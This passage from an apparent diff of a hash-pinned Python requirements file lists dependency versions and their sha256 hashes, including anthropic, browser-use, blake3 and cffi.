--hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 +annotated-types==0.7.0 \ + --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ + --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 +anthropic==0.75.0 \ + --hash=sha256:e8607422f4ab616db2ea5baacc215dd5f028da99ce2f022e33c7c535b29f3dfb \ + --hash=sha256:ea8317271b6c15d80225a9f3c670152746e88805a7a61e14d4a374577164965b +anyio==4.14.2 \ + --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 \ + --hash=sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f +attrs==25.3.0 \ + --hash=sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3 \ + --hash=sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b +authlib==1.6.12 \ + --hash=sha256:0656d8482f28fc8221929d5f35b2bde5d13e10555ebc06b4561b0d622e83b1bd \ + --hash=sha256:e9229ad7fde610b139dd12f5edbe97eab9ee78bfb85691247e767727850b99ab +backoff==2.2.1 \ + --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ + --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 +beartype==0.22.9 \ + --hash=sha256:8f82b54aa723a2848a56008d18875f91c1db02c32ef6a62319a002e3e25a975f \ + --hash=sha256:d16c9bbc61ea14637596c5f6fbff2ee99cbe3573e46a716401734ef50c3060c2 +beautifulsoup4==4.14.2 \ + --hash=sha256:2a98ab9f944a11acee9cc848508ec28d9228abfd522ef0fad6a02a72e0ded69e \ + --hash=sha256:5ef6fa3a8cbece8488d66985560f97ed091e22bbc4e9c2338508a9d5de6d4515 +binaryornot==0.4.4 \ + --hash=sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061 \ + --hash=sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4 +blake3==1.0.9 \ + --hash=sha256:01e136de1078a9011c82beb4a1cb400644794068c0e80877415328bb46d93b47 \ + --hash=sha256:021309d760b390706fecf13498f9a25aa8f689bbb65a0896029b8fa223aae18b \ + --hash=sha256:09a69fcedf06785bb81d4d3d39f95ee65dbaf2cb246e174cfc9ff64d027f7551 \ + --hash=sha256:09deb024cd75cb200e7f647cd038800e6edc8f190c8188e0c69ec1c2b920e125 \ + --hash=sha256:0aba416bb2e3ef0c65e74d5eba21062483c714cd78e7e303c9d03c547fc7d015 \ + --hash=sha256:0cdfeff65488089ef86f7587c76055ff72b28d28d10e427b547f5711477c376d \ + --hash=sha256:128a62136c9a39c7cb9fdaa5fb38471f2418853da7f5a89f31495735d0ba6f2c \ + --hash=sha256:15566065ff90ab3da46ec0be1417406f00507af902b6fb0fbc6563e77f02fc42 \ + --hash=sha256:172d44245a19dfec08ab771c1b7a506b97783163cdc65f559fe020007e403c99 \ + --hash=sha256:188127f98106309e4c477977d29ee8588ba4b153ea5a7eb9bc202d5b9f05d0f9 \ + --hash=sha256:1bbdff61e049297ef3180867ce1f079cea7e5b372fd76953c3183da5b8124206 \ + --hash=sha256:1bd981dc318c05375c3160a99df493b7cc4c83fffa1a34d14b18a071b47b262b \ + --hash=sha256:1ff480ca2bee74f56d90658a44176f0abdd9b766a181586b995fee358a9c40e7 \ + --hash=sha256:216977b1d592a60150cd5de64d5853dc6afb0eb522cb387723ae7f78f380d947 \ + --hash=sha256:249e5964fa9e768924bc7cc3d4efe75a425bb5dd3fb7671c3eda8eeddfa50591 \ + --hash=sha256:24acb1e6f31021fa08b7eb31433035facfcf0d82e964170d5eb85a30ce913ba9 \ + --hash=sha256:28404301de485e9546365d01b30f65eaa835520c4211d6ef61242975b6722b60 \ + --hash=sha256:28528d1f29e6f3d45faf3482e1197e5e175730eef38bdc74e56ee11b68e0ad0d \ + --hash=sha256:2a800b87433955f37691b5f361ad29c7dd3ee089c9cd109adc5aea8e24bc4c1f \ + --hash=sha256:2ee96daaa850700fd342a811fa10a8780fd2e8464a71b83a1779c7b6becd3dd5 \ + --hash=sha256:2f4ce45da903f3d0a7e342fa70c7cce9c10cef6b529eadb4d6213be0ab0eaf84 \ + --hash=sha256:2fd000708662b04be211a22c1095b65fe399d7276e9f3bb2fd1ef8aacc545791 \ + --hash=sha256:2fff822c0a14b1378769f26eede9577e1230b289fa9a2e9d15c751b6d5a81cd5 \ + --hash=sha256:32bd4521ec2d477627ad93eb70f9ac4d01e12d1489024159bcaeff79466332f6 \ + --hash=sha256:34c947a95a68ec103846525e3a99193f9fcf5e762e40dcce80adbb8e398abef7 \ + --hash=sha256:38e61d3b0386af16b3c03a18e0db82b626d63796274637a1fef855fd1c778d82 \ + --hash=sha256:3cbe7f190164896dc3908e920716ee66bc31d40f1a0fb603ed59ac53290fb9cf \ + --hash=sha256:40bcc18675d583e23722d6c106ea3068ba705f7575f874c1ca14a6af0728ccb6 \ + --hash=sha256:42609e4adc4b2d7423137f2cb35135bca598b925c5af09d2bc0a2c368b25aeb1 \ + --hash=sha256:42fa57bf462285ef16400601b0fd32214c248ba92505bbb94b1221ab9af5a092 \ + --hash=sha256:4865a8cfb2b3d7c0baf5267f2fa6816a3384e836cd1bd0caf359f406cb1e8fba \ + --hash=sha256:4c9a8b093d0e57a9fb612dac768b329a0719c09357e7ce1e5403106a7533b5ef \ + --hash=sha256:508ccaf8f9377cc47e6026c2897fdc37de61faeb1420dc023b6379cc2474eb65 \ + --hash=sha256:54e35f3b71d5e2f5b1434a01f44cf386be2ff3dcd0ed6589eeb52a0076b2e016 \ + --hash=sha256:5b35abe24a66a7b3db423eb4f8668ed7be1a362aa9c0024ab6483ec0b2c16058 \ + --hash=sha256:5ea0c60dd9c1e3d05610606579e4bf80f562854c46ed55f9ee8545e18987a480 \ + --hash=sha256:5fa374fa5070ca084368776c19b420157eb0f2d3f091343d6bc59189929d62e2 \ + --hash=sha256:65c0c20014df687694af5ccf0cec3bdb194511da8ebd50c30b0fd55c83fa4fd5 \ + --hash=sha256:66aa1c40ad019fbb5e93d603300c4478a59b98c40c7ea13ac036676c26dfb1c7 \ + --hash=sha256:66c84dbc2a31eda88b55bbf5c5b711037bf0698eba0fd1faf06bdaf313c39048 \ + --hash=sha256:6879739e7904b9c42afbedbcc2e8c36cebe140fb3fc3f5c492993579cf5cd516 \ + --hash=sha256:689a7e4069de681d9c5d9445b8b6473ee880ad04d7960a6789c60bd788980250 \ + --hash=sha256:69ff5aebc7650954443aa701feff2028d7c7ea5b5e18ee265f15e2104e892328 \ + --hash=sha256:6c99afb0459c82dd13e456b6b68d45c4768b539ca998dacd3ed726f1e75e91dc \ + --hash=sha256:6edeb3d49a24c307995899b70dd47aa901d0e9ad51d2f8a79aba4f074f32d8c5 \ + --hash=sha256:6f2dd643166dfeb7cf4ad53eb2d801f944d247212d3481950b4d5b4a20551461 \ + --hash=sha256:6f5f60072fc7191d9918395bf2e701bcc60b44aeda0bf0a173abafcf49e10cff \ + --hash=sha256:72cdecf088a9d25e6ec79948a578995649b0dbee407e7a46c543a9ecc0f6f281 \ + --hash=sha256:73a48f7e9f0e047f51a445d9b0361ab1907bdc72b6857815a84dacd2e59556f8 \ + --hash=sha256:766f1555cbe614f14f399c2fbec0983568d20edb36837ba04040807eb9e1a609 \ + --hash=sha256:78833070b782bbd2b987a2a239c796f525e74d338d8cbc23557945548d5488f6 \ + --hash=sha256:7a760e8f8ac8b49761fc6a28ed5bbf6bbc8008026134498ec2b8b20f26850499 \ + --hash=sha256:8114fb2a1f6cba9cba5411d62cbcb283b2205b154d0076f20b77e22592eb2719 \ + --hash=sha256:82ecade6ac425fdfc39a4371d6d9232fd6e5c28748fd8d3489016ead17407014 \ + --hash=sha256:837e116ebedf06e48491f4c44a5e8804a864dad07cd7b897ebb507e410fed740 \ + --hash=sha256:83b4a2336105af3800f7e17ac4b943f293a3927a2d66a6308d50dba944a6953e \ + --hash=sha256:85262504baa150d64a599563d7a7bf19331fd7a2cc4c7b050cb31edfd69edbee \ + --hash=sha256:8a5917733828841e5bf6b9b7e63d62e0f70ec2cf262f5bd189db51c5a5508068 \ + --hash=sha256:8a99f896e7718050ed033a888245098aab3d6a5338f91cc9450c563b53f90ad5 \ + --hash=sha256:8adb0b0032e53919ee95b3d4f911448d3268316c28cd7df232ff2a1e7c9a4ba4 \ + --hash=sha256:8cd10c6a421a7d3c81136658e52e9ef58bfcc1df04193466664eb24981784f4c \ + --hash=sha256:91db52a809b68b5bebe7c413ddcd230e1f759398e7fa7a873104595a4fa648b6 \ + --hash=sha256:94d99e6ca7d5ca684bc48f3aa9ec6e78c72c775ae223d131b9efb217389f0195 \ + --hash=sha256:95fc3545f80901b0dcd0508d16bc40f15ae39556709fa6cf86675f742d4f3c9c \ + --hash=sha256:964b642631a3c8fe117b3439c8ae64a9a0981af9444e409656d1f1e464bfa125 \ + --hash=sha256:9767f16199b99aa022b61ff825ac4dbd39864bf637ae712605a2ce1f8b6a55e0 \ + --hash=sha256:9c0570338b4e3f6dc7943196edb029e0e4f74fd55d9703a40028f5b6c9c09dc5 \ + --hash=sha256:9cef6d4d07a7de0c44f5ba17f6383d55276d9efc8d601f75113538fcaa35008b \ + --hash=sha256:a288664d08dee154cc496e06e62517fc9e655ecec12b0d7db538d244ac79edf1 \ + --hash=sha256:a517f0460007edec3767595115c520ed1f157ddd0ed23dddbf6b9d8b0082afb6 \ + --hash=sha256:a70c20542d5e7960983a0ff32999049a2b0e5ef1f22dbbbdfb51cf04828a4156 \ + --hash=sha256:aa6e5c7533c915a24d840ae4be787e9a6059be7e77944b005b3d967a0257a17d \ + --hash=sha256:ab0c030cf6644c30e786b0e785bde4e4596013ae9ea6ce9877e39d52383e25d7 \ + --hash=sha256:ae47c3d5729ff89baa6ddf6de47fcfcc915985d39eb1bfcd6db653331f3c6fcc \ + --hash=sha256:b25ccde5a64be070f20e5c7a81da70292db40b164b6c77588cbd6230856badbb \ + --hash=sha256:b27550ada40f839aca64c66127940e4318bb6ef3e291890ef913017f6f637448 \ + --hash=sha256:b4102ba86b86c992a931b4a88c58a632d6097461e14a1e63ebd2ecb98ff0898f \ + --hash=sha256:b5d5bf0f68cd77108a942c95db98e960d9c3d5643b95172f783822ce22667759 \ + --hash=sha256:b5e1f21b49492d01fa5a02084894c491ab9e7a1867fced107f7126c80d067c94 \ + --hash=sha256:b985eb08db76550ec97444e03b10acd737baa03fd98aaf3b8455a1c644c8f5d6 \ + --hash=sha256:b9f7205531b41674316de9f15592c13ad3ebcedadb562fda8bbd8641c6f6ef8f \ + --hash=sha256:baebf1ebe6ccad936730a651dd74d40433debc6e19cbb34357222050fbf31189 \ + --hash=sha256:bb5e6c80e7c0825aa7223bca0dd2c6e7ea506db7ec734094631ce5efdae7a554 \ + --hash=sha256:bca166d0b01c00dcf2a936f790ed947bd9079b0a0a7df1b76746f201aa4f4ac4 \ + --hash=sha256:bcd56a7a972c4185070f7042ccc20166927eec3c0f98b8405f375d007b604a0b \ + --hash=sha256:c32a1f7ffa0a88c4f8dfb75f87297e8f076d3a63f714da99f7e763d8c435e14f \ + --hash=sha256:c755044ba7bec3d03dae44b968194112f0eb0e8c4523465f3dd9e1a87e178d89 \ + --hash=sha256:c7f648fa425138452d1e585ac625c7aefddb946d9765906c4c12d564a1523cd8 \ + --hash=sha256:ca7dfe8fb197ff8a3f5c915424183ccd52a99e8afb12680f51b2e1f4c9c6c97f \ + --hash=sha256:caded2806d2cbeed638c5e2517ed8b2a94165b3452fda35e72896142d22070e0 \ + --hash=sha256:cfaa671b07eb73883162ca940442193868358b0b904cfa266e4b74131ce966da \ + --hash=sha256:d1ea0bf17b184b03444007646d902207d2b4d4f3e91a0cac3836552d83db74b9 \ + --hash=sha256:d819457dccfd82fe34684ec99e36725f747bd5761a0e17f537387fb31d121193 \ + --hash=sha256:d9d13051df059730efe83c6df142ba5a2ad67b82d50f9a62f3a556d6c2af201e \ + --hash=sha256:dab59b324aa65c09e937d6c43de5de85ec9581627f4e79dcc9806d85b54a1c34 \ + --hash=sha256:dad0a8a716dd201860f8e82011a340e6bdd5ee37a8eb4357b48ac64c4e6de1c2 \ + --hash=sha256:e448a4f985b3e4709541dbce057e5bb073527001613f8eeb1ce2705988262f9d \ + --hash=sha256:e779710aa52a0fe4ad96cd6bcbcd5aee1bcee7a748221394e4a39a58b21d0bac \ + --hash=sha256:e9e1d0392624c2f9d049d786f0dc547ce818d2f2b356bcf1c4d74b6f9cc026b4 \ + --hash=sha256:eca281fedcbe5c56655bd5a4176e6036eddbbe57df96114a03838fce08b1e0ca \ + --hash=sha256:f169519c7ef25ef2c446b05e2f08e7e59fae312d569f98a3134b38d4caf7abd4 \ + --hash=sha256:f5c9d57f0dcb92243b6ae575c3065793edc9df9008d0ebd98d8245cdeb7c3f84 \ + --hash=sha256:f65d77eb05331495485048f6804f53885b192b998acb7e6fe1487d941bf08435 \ + --hash=sha256:f9d8b6c6af52a8ff499debf5fd15d7395e0ed837ec2a80fd828b4c6b970de3ed \ + --hash=sha256:fe3c59f8a7b5460fd374b264559c5da7af0a33657a9eca95fff6d843f02cde9e +browser-use==0.11.9 \ + --hash=sha256:a66accf4dded24d056eb2733e354e159fd7d82cab986d75dc0f14b395467c82c \ + --hash=sha256:c3d8a420acf26d26c688c42916358ba546e7159e1a699c06064b899cb7927577 +browser-use-sdk==2.0.15 \ + --hash=sha256:0832ae0998736e6386457e6cf506e2820db0d626c4d9dbf0f567ea2b6c6888d3 \ + --hash=sha256:5d8ba3836070c67a9774baac556b233e22f266823d3dee34295d98869bec7752 +bubus==1.5.6 \ + --hash=sha256:1a5456f0a576e86613a7bd66e819891b677778320b6e291094e339b0d9df2e0d \ + --hash=sha256:254ae37cd9299941f5e9d6afb11f8e3ce069f83e5b9476f88c6b2e32912f237d +cachetools==7.1.8 \ + --hash=sha256:1221d547a0b24b7f26fa891d40d488b5258beab9aebd8ed68c729be3af849c43 \ + --hash=sha256:a81e3844acaa7355b6567f97bd67a94a14ec3a9bc2cbbdae45b9592cc036775b +caio==0.9.25 \ + --hash=sha256:06c0bb02d6b929119b1cfbe1ca403c768b2013a369e2db46bfa2a5761cf82e40 \ + --hash=sha256:0998210a4d5cd5cb565b32ccfe4e53d67303f868a76f212e002a8554692870e6 \ + --hash=sha256:0ba16aa605ccb174665357fc729cf500679c2d94d5f1458a6f0d5ca48f2060a7 \ + --hash=sha256:16498e7f81d1d0f5a4c0ad3f2540e65fe25691376e0a5bd367f558067113ed10 \ + --hash=sha256:1a177d4777141b96f175fe2c37a3d96dec7911ed9ad5f02bac38aaa1c936611f \ + --hash=sha256:44a6b58e52d488c75cfaa5ecaa404b2b41cc965e6c417e03251e868ecd5b6d77 \ + --hash=sha256:4fa69eba47e0f041b9d4f336e2ad40740681c43e686b18b191b6c5f4c5544bfb \ + --hash=sha256:628a630eb7fb22381dd8e3c8ab7f59e854b9c806639811fc3f4310c6bd711d79 \ + --hash=sha256:6bebf6f079f1341d19f7386db9b8b1f07e8cc15ae13bfdaff573371ba0575d69 \ + --hash=sha256:97084e4e30dfa598449d874c4d8e0c8d5ea17d2f752ef5e48e150ff9d240cd64 \ + --hash=sha256:9ed3cfb28c0e99fec5e208c934e5c157d0866aa9c32aa4dc5e9b6034af6286b7 \ + --hash=sha256:ab52e5b643f8bbd64a0605d9412796cd3464cb8ca88593b13e95a0f0b10508ae \ + --hash=sha256:ae3d62587332bce600f861a8de6256b1014d6485cfd25d68c15caf1611dd1f7c \ + --hash=sha256:bf61d7d0c4fd10ffdd98ca47f7e8db4d7408e74649ffaf4bef40b029ada3c21b \ + --hash=sha256:bf84bfa039f25ad91f4f52944452a5f6f405e8afab4d445450978cd6241d1478 \ + --hash=sha256:ca6c8ecda611478b6016cb94d23fd3eb7124852b985bdec7ecaad9f3116b9619 \ + --hash=sha256:d6956d9e4a27021c8bd6c9677f3a59eb1d820cc32d0343cea7961a03b1371965 \ + --hash=sha256:d6c2a3411af97762a2b03840c3cec2f7f728921ff8adda53d7ea2315a8563451 \ + --hash=sha256:db9b5681e4af8176159f0d6598e73b2279bb661e718c7ac23342c550bd78c241 \ + --hash=sha256:fab6078b9348e883c80a5e14b382e6ad6aabbc4429ca034e76e730cf464269db \ + --hash=sha256:fb7ff95af4c31ad3f03179149aab61097a71fd85e05f89b4786de0359dffd044 \ + --hash=sha256:fc220b8533dcf0f238a6b1a4a937f92024c71e7b10b5a2dfc1c73604a25709bc +cdp-use==1.4.4 \ + --hash=sha256:330a848b517006eb9ad1dc468aa6434d913cf0c6918610760c36c3fdfdba0fab \ + --hash=sha256:e37e80e067db2653d6fdf953d4ff9e5d80d75daa27b7c6d48c0261cccbef73e1 +certifi==2025.8.3 \ + --hash=sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407 \ + --hash=sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5 +cffi==2.0.0 \ + --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \ + --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \ + --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \ + --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \ + --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \ + --hash=sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2 \ + --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \ + --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \ + --hash=sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65 \ + --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \ + --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \ + --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \ + --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \ + --hash=sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a \ + --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \ + --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \ + --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \ + --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \ + --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ + --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \ + --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \ + --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \ + --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \ + --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \ + --hash=sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165 \ + --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ + --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \ + --hash=sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c \ + --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \ + --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \ + --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \ + --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \ + --hash=sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63 \ + --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \ + --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \ + --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \ + --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \ + --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \ + --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \ + --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \ + --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \ + --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \ + --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \ + --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \ + --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \ + --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \ + --hash=sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322 \ + --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \ + --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \ + --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \ + --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \ + --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \ + --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \ + 